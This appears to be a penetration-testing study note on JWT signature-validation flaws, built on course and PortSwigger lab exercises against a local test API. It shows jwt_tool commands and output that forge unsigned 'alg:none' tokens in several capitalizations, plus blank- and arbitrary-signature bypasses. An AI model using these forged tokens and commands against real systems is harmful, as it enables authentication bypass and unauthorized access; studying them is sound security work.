Signature Validation

JWT signature validation involves verifying that the token's signature is legitimate and has not been tampered with. This process uses a cryptographic algorithm and a secret key (or public key, in the case of asymmetric algorithms) to ensure that the token was created by a trusted source and that its content remains unchanged. Proper signature validation prevents attackers from altering the token's claims or creating forged tokens. Servers don't store any JWT-related information, thus, they don't know anything about its contents!

None Algorithm

The JWT alg: "none" attack exploits the JWT specification allowing alg: "none" for tokens without a signature. An attacker creates a token with alg: "none" and arbitrary claims. If the server accepts this token without verifying a signature, the attacker gains unauthorized access.

The below example is based on TCM's Practical API Hacking course.

After obtaining a JWT, we can start by auditing it by using an endpoint which process the token in some way, i.e., sends back different responses if the token is and it isn't present (Figure 1).

Figure 1: Finding an appropriate endpoint.

The JWT header contains an alg parameter which tells the server which algorithm was used to sign the token, i.e., which alogirthm it needs to use when veryfing the signature. This is inherently flawed as it is user-controlled. JWTs can be also left unsigned using "alg":"none", aka unsecure JWT. Servers usually reject this tokens, but since this relies on string parsing, it can be obfuscated.

Even if the token is unsigned, the payload part must end with a trailing dot.

We can then audit the JWT (Figure 2).

$ jwt_tool -t http://localhost:8888/identity/api/v2/user/dashboard -rh 'Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0X3RjbUBnbWFpbC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxOTI5NjM4OCwiZXhwIjoxNzE5OTAxMTg4fQ.BlO4H5UQM_maTkbRtwBhGags2DSIXxOI-mvUW1A4IRBb0VLshF_xIP74Rm-e1BjhyCKHqIuRp9GKRlse4CgY2CwpiNYbDFrbnYLNvfqzOoc1VRs-sUbhpq24h4mIZK1OJ3Jktd3fwMWEd1MolUFtO8WgaI0NVXwdi0jStFVXbnwZ0MU-HzOW7sK1aUCBuI6hAqrsZMf0iXYl5qhjGIDQ8VLcOPAhdr4-Yf-S4B2dhxjx2dxFZYZHvZAeZ4FHEkJa-IlDCeE_OmIKyQKF_03CRmKB0KHrX5TBxgitzDraSgoeKjeI-E8Zz7cchxK53otrD0tKbNEHC_N2p1cGrts_BQ' -M at

Figure 2: Auditing the JWT using jwt_tool.

We could then use Burp's JWT Editor extension to validate the alg:none vulnerability (Figure 3 & 4).

Figure 3: Validating the alg:none attack.

Figure 4: The server sends a 200 without validating the JWT signature (BOLA).

We also have the option to choose different capitalization of the none algorithm (Figure 5).

Figure 5: Capitalization options for the none algorithm.

Blank Signature

The JWT blank signature attack involves removing or leaving the signature part of a JWT blank. If the server does not properly validate the signature's presence and integrity, it accepts the manipulated token.

The below example is based on APISEC University's course API Penetration Testing.

We can generate a token without a signature and see how the server responds.

$ jwt_tool.py <JWT> -X a

Original JWT:

jwttool_a7333a823ae2439cb9a1f625cf57874a - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJub25lIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_ba16d4490898e1a275865d6054d29218 - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOb25lIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_933d31b931b0cde418923bd086cb24b8 - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOT05FIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_779c72e9bb024b8feebb000aaf8f8b96 - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJuT25FIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.

# Copy this token to a request and see how it responds

Arbitraty Signature

The JWT arbitrary signature attack involves an attacker creating a token with a valid header and payload but using an arbitrary or invalid signature. If the server does not correctly verify the token's signature against the proper secret or public key, it may accept the manipulated token.

The below example is based on PortSwigger's JWT authentication bypass via unverified signature lab.

JWT libraries usually provide 2 methods, one for verification and one for decoding. For example, Node.js's jsonwebtoken library has the verify() and decode() methods. If a developer only use the latter, the application won't verify the signature at all. In this case, it is possible to modify a claim directly (Figure 6).

Figure 6: Modifying the sub claim results in an altered signature which is accepted by the server.